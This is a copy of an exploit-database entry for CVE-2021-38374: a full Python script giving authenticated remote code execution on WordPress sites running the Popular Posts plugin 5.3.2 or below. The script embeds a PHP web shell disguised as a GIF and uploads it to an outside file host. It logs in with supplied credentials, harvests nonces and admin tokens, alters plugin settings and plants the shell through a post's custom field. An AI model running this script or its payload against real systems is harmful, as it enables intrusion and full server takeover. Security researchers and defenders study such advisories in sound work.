WordPress Popular Posts 5.3.2 Shell Upload
CVE
Category
Price
Severity
CVE-2021-38374
CWE-434
Not specified
High
Author
Risk
Exploitation Type
Date
Unknown
Critical
Remote
2021-07-15
CPE
cpe:No CPE (Common Platform Enumeration) URI string available for this exploit
CVSS vector description
Metric
Value
Metric Description
Value Description
Attack vector Local AV The vulnerable system is not bound to the network stack and the attacker’s path is via read/write/execute capabilities. Either: the attacker exploits the vulnerability by accessing the target system locally (e.g., keyboard, console), or through terminal emulation (e.g., SSH); or the attacker relies on User Interaction by another person to perform actions required to exploit the vulnerability (e.g., using social engineering techniques to trick a legitimate user into opening a malicious document). Attack Complexity Low AC The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system. Privileges Required None PR The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack. User Interaction None UI The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges Scope Unchanged S An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances. Confidentiality High C There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data. Integrity High I There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system. Availability High A There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2021070092 Below is a copy:
WordPress Popular Posts 5.3.2 Shell Upload # Exploit Title: WordPress Plugin Popular Posts 5.3.2 - Remote Code Execution (RCE) (Authenticated)
# Date: 15/07/2021
# Exploit Author: Simone Cristofaro
# Vendor Homepage: https://it.wordpress.org/plugins/wordpress-popular-posts/
# Software Link: https://downloads.wordpress.org/plugin/wordpress-popular-posts.5.3.2.zip
# Version: 5.3.2 or below
# Tested on: Debian 10, WordPress 5.7.2, PHP version 7.3.27
# Reference: https://blog.nintechnet.com/improper-input-validation-fixed-in-wordpress-popular-posts-plugin/
# Notes: It's required that the Popular Posts widget is active (ie. in the footer section) and gd extension for PHP is
# enabled (otherwise WPP can't generate thumbnails). Also, the authenticated user must have "Contributor" role or above.
# This script will login with the provided credentials, create a new post and add a custom field with the link to a
# web shell, that will be automatically downloaded by the server. If you don't want to upload the file, you need to
# provide a URL to a web shell with SSL support (https) and make sure it contains the file name in it. If the plugin is
# set to show a fixed number of popular posts (ie. top 5), you just need to refresh the post page to make it go up ;)
'''
Banner:
'''
banner = """
* Wordpress Popular Posts plugin <= 5.3.2 - RCE (Authenticated)
* @Heisenberg
"""
print(banner)
'''
Import required modules:
'''
import requests
import argparse
import json
import re
'''
User-Input:
'''
my_parser = argparse.ArgumentParser(description='Wordpress Popular Posts plugin <= 5.3.2 - RCE (Authenticated)')
my_parser.add_argument('-t', help='--Target IP', metavar='IP', type=str, required=True, dest="target_ip")
my_parser.add_argument('-p', help='--Target port', type=str, metavar='PORT', default='80', dest="target_port")
my_parser.add_argument('-w', help='--Wordpress path (ie. /wordpress/)',metavar='PATH', type=str, required=True, dest="wp_path")
my_parser.add_argument('-U', help='--Username', metavar='USER', type=str, required=True, dest="username")
my_parser.add_argument('-P', help='--Password', metavar='PASS', type=str, required=True, dest="password")
args = my_parser.parse_args()
target_ip = args.target_ip
target_port = args.target_port
wp_path = args.wp_path
username = args.username
password = args.password
'''
# Hard coded parameters (if you don't like command line execution)
target_ip = "localhost"
target_port = "80"
wp_path = "/wordpress/"
username = "heisenberg"
password = "heisenberg"
'''
shell_name = 'exploit.gif.php'
payload = 'GIF <html> <body> <form method="GET" name="<?php echo basename($_SERVER[\'PHP_SELF\']); ?>"> <input type="TEXT" name="cmd" autofocus id="cmd" size="80"> <input type="SUBMIT" value="Execute"> </form> <pre> <?php if(isset($_GET[\'cmd\'])) { system($_GET[\'cmd\']); } ?> </pre> </body> </html>'
print('')
print('[*] Starting Exploit:')
'''
Upload file
'''
file_json = requests.post('https://api.bayfiles.com/upload', files={ 'file' : (shell_name, payload)})
resp = json.loads(file_json.text)
if resp['status']:
urlshort = resp['data']['file']['url']['full']
else:
print(f'[-] Error:'+ resp['error']['message'])
exit()
file_uploaded_site = requests.get(urlshort).text
PHP_URL = re.findall(r"(https?://\S+)("+shell_name+")",file_uploaded_site)[0][0] + shell_name
print(f'[+] Web Shell successfully uploadad at [{PHP_URL}].')
'''
Authentication:
'''
session = requests.Session()
auth_url = 'http://' + target_ip + ':' + target_port + wp_path + 'wp-login.php'
# Header:
header = {
'Host': target_ip,
'User-Agent': 'Monies Browser 1.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
'Accept-Language': 'de,en-US;q=0.7,en;q=0.3',
'Accept-Encoding': 'gzip, deflate',
'Content-Type': 'application/x-www-form-urlencoded',
'Origin': 'http://' + target_ip,
'Connection': 'close',
'Upgrade-Insecure-Requests': '1'
}
# Body:
body = {
'log': username,
'pwd': password,
'wp-submit': 'Log In',
'testcookie': '1'
}
# Authenticate:
auth = session.post(auth_url, headers=header, data=body)
auth_header = auth.headers['Set-Cookie']
if 'wordpress_logged_in' in auth_header:
print(f'[+] Authentication successfull as user [{username}] !')
else:
print('[-] Authentication failed ! Check username and password')
exit()
'''
Verify that the requirements are installed
'''
settings_page_url = 'http://' + target_ip + ':' + target_port + wp_path + 'wp-admin/options-general.php?page=wordpress-popular-posts&tab=debug'
settings_page = session.get(settings_page_url).text
search_string = ' gd'
if settings_page.find(search_string) == -1 :
print('[-] Error, gd extension for PHP is not installed/enabled on the server ! WPP can\'t generate thumbnails.')
exit()
'''
Get the wpp-admin-token
'''
settings_page_url = 'http://' + target_ip + ':' + target_port + wp_path + 'wp-admin/options-general.php?page=wordpress-popular-posts&tab=tools'
settings_page = session.get(settings_page_url).text
search_string = '<input type="hidden" id="wpp-admin-token" name="wpp-admin-token" value="'
search_string_end = '" />'
settings_page = settings_page[settings_page.find(search_string):]
wpp_admin_token = settings_page[72: settings_page.find(search_string_end)]
if wpp_admin_token:
print(f'[+] Acquired wpp-admin-token [{wpp_admin_token}].')
else:
print('[-] Error while gathering wpp-admin-token !')
exit()
'''
Apply changes to the Popular Posts plugin
'''
body = {
'upload_thumb_src': '',
'thumb_source': 'custom_field',
'thumb_lazy_load': 1,
'thumb_field': 'wpp_thumbnail',
'thumb_field_resize': 1,
'section': 'thumb',
'wpp-admin-token': wpp_admin_token
}
applied_changes = session.post(settings_page_url, headers=header, data=body).text
if applied_changes.find('<div class="notice notice-success is-dismissible"><p><strong>Settings saved.'):
print(f'[+] Settings applied successfully to the Popular Posts plugin. ')
else:
print('[-] Error while applying settings o the Popular Posts plugin!')
exit()
'''
Empty image cache
'''
body = {
'action': 'wpp_clear_thumbnail',
'wpp-admin-token': wpp_admin_token
}
applied_changes = session.post(settings_page_url, headers=header, data=body).text
print(f'[+] Images cache cleared. ')
'''
Get the new post ID and Nonce
'''
new_post_url = 'http://' + target_ip + ':' + target_port + wp_path + 'wp-admin/post-new.php'
new_post_page = session.get(new_post_url).text
search_string = 'name="_ajax_nonce-add-meta" value="'
search_string_end = '" />'
new_post_page = new_post_page[new_post_page.find(search_string)+35:]
ajax_nonce = new_post_page[:new_post_page.find(search_string_end)]
search_string = 'wp.apiFetch.nonceMiddleware = wp.apiFetch.createNonceMiddleware( "'
search_string_end = '" );'
new_post_page = new_post_page[new_post_page.find(search_string)+66:]
wp_nonce = new_post_page[:new_post_page.find(search_string_end)]
search_string = '},"post":{"id":'
search_string_end = ','
new_post_page = new_post_page[new_post_page.find(search_string)+15:]
post_ID = new_post_page[:new_post_page.find(search_string_end)]
if post_ID and wp_nonce and ajax_nonce:
print(f'[+] Acquired new post ID [{post_ID}], WP Nonce [{wp_nonce}] and AJAX Nonce [{ajax_nonce}].')
else:
if not post_ID: print('[-] Error while gathering post_ID !')
elif not wp_nonce: print('[-] Error while gathering Wordpress Nonce !')
elif not ajax_nonce : print('[-] Error while gathering Wordpress AJAX Nonce !')
exit()
'''
Publish a new post
'''
new_post_url = 'http://' + target_ip + ':' + target_port + wp_path + 'index.php/wp-json/wp/v2/posts/'+post_ID+'?_locale=user'
data = {"id":post_ID,"title":"I'm the one who knocks","content":"<!-- wp:paragraph -->\n<p>upgrade your plugins</p>\n<!-- /wp:paragraph -->","status":"publish"}
header['X-WP-Nonce'] = wp_nonce
header['Content-Type'] = 'application/json'
header['X-HTTP-Method-Override'] = 'PUT'
new_post_page = session.post(new_post_url, headers=header, json=data).text
if new_post_page.find('"status":"publish"'):
print(f'[+] New post named [I\'m the one who knocks] published correctly!')
else:
print('[-] Error while publishing the new post !')
exit()
'''
Add the Custom Filed
'''
new_post_url = 'http://' + target_ip + ':' + target_port + wp_path + 'wp-admin/admin-ajax.php'
header.pop('X-WP-Nonce')
header['Content-Type'] = 'application/x-www-form-urlencoded; charset=UTF-8'
header.pop('X-HTTP-Method-Override')
header['Accept']='*/*'
header['X-Requested-With'] = 'XMLHttpRequest'
body = {
'_ajax_nonce': 0,
'action': 'add-meta',
'metakeyselect': 'wpp_thumbnail',
'metakeyinput': "",
'metavalue' : PHP_URL,
'_ajax_nonce-add-meta': ajax_nonce,
'post_id' : post_ID
}
new_post_page = session.post(new_post_url, headers=header, data=body).text
if new_post_page.find("<tr id='meta-") > 0:
print(f'[+] Added a new Custom Field with the uploaded web shell.')
else:
print('[-] Error while adding the custom field !')
print(new_post_page)
exit()
'''
Give it some views to pop it up in the recent posts
'''
print(f'[+] Giving the new post some views (10) [ ', end="")
new_post_url = 'http://' + target_ip + ':' + target_port + wp_path + 'index.php?page_id=' + post_ID
redirect_url = session.get(new_post_url).url
new_post_plugin_url = 'http://' + target_ip + ':' + target_port + wp_path + 'index.php/wp-json/wordpress-popular-posts/v1/popular-posts'
data = {
'_wpnonce': wp_nonce,
'wpp_id': post_ID,
'sampling': 0,
'sampling_rate': 100
}
for progress in range(10):
session.get(redirect_url)
res = session.post(new_post_plugin_url, headers=header, data=data)
print ('=', end='')
print(' ] '+json.loads(res.text)['results'])
print('[+] Exploit done !')
print(' -> Webshell: http://' + target_ip + ':' + target_port + wp_path + 'wp-content/uploads/wordpress-popular-posts/' + post_ID +'_'+ shell_name)
print('')
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